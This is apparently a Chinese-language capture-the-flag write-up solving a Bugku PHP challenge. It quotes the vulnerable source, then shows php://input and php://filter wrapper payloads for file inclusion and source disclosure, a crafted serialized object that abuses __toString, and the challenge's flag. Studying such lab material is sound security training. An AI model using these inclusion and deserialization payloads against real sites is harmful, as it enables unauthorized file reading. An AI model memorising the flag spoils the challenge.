- 查看源代码
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf"))
// $user必须存在 $user为文件且读出来的值为 welcome........并且类型、内容完全相同
{
echo "hello admin!<br>";
include($file); //hint.php
// 满足条件之后读取hint.php
}
else
{
echo "you are not admin ! ";
}
// isset($user) isset检测变量是否设置
若变量不存在则返回FALSE
若变量存在且其值为NULL,也返回FALSE
若变量存在且值不为NULL,则返回TURE
// file_get_contents($user,'r')将整个文件读入一个字符串
- php://input
php://input 是个可以访问请求的原始数据的只读流,可以读取没有处理过的POST数据
所以这里用 txt=php://input post值为 welcome to the bugkuctf - php://filter
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流
构造语句file=php://filter/read/convert.base64-encode/resource=hint.php
- 将得到的值base64解码
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
在此代码上找不到线索 在同样用php伪协议来读一下index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){ //file中过滤了flag
echo "不能现在就给你flag哦";
exit();
}else{ //如果file中没有flag则将file包含进去,将$password反序列化
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
hint.php中__tostring()函数
当调用实例化对象时就会自动执行_tostring()也就是创造一个这个类的对象就会调用,并输出&file
- 反序列化
反序列化在原来的文章提到过实验吧 天网管理系统
将password序列化
<?php
class Flag{//flag.php
public $file;
}
$a = new Flag();
$a->file = "flag.php";
echo serialize($a);
?>
得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
- 构造$password
得到flag:flag{php_is_the_best_language}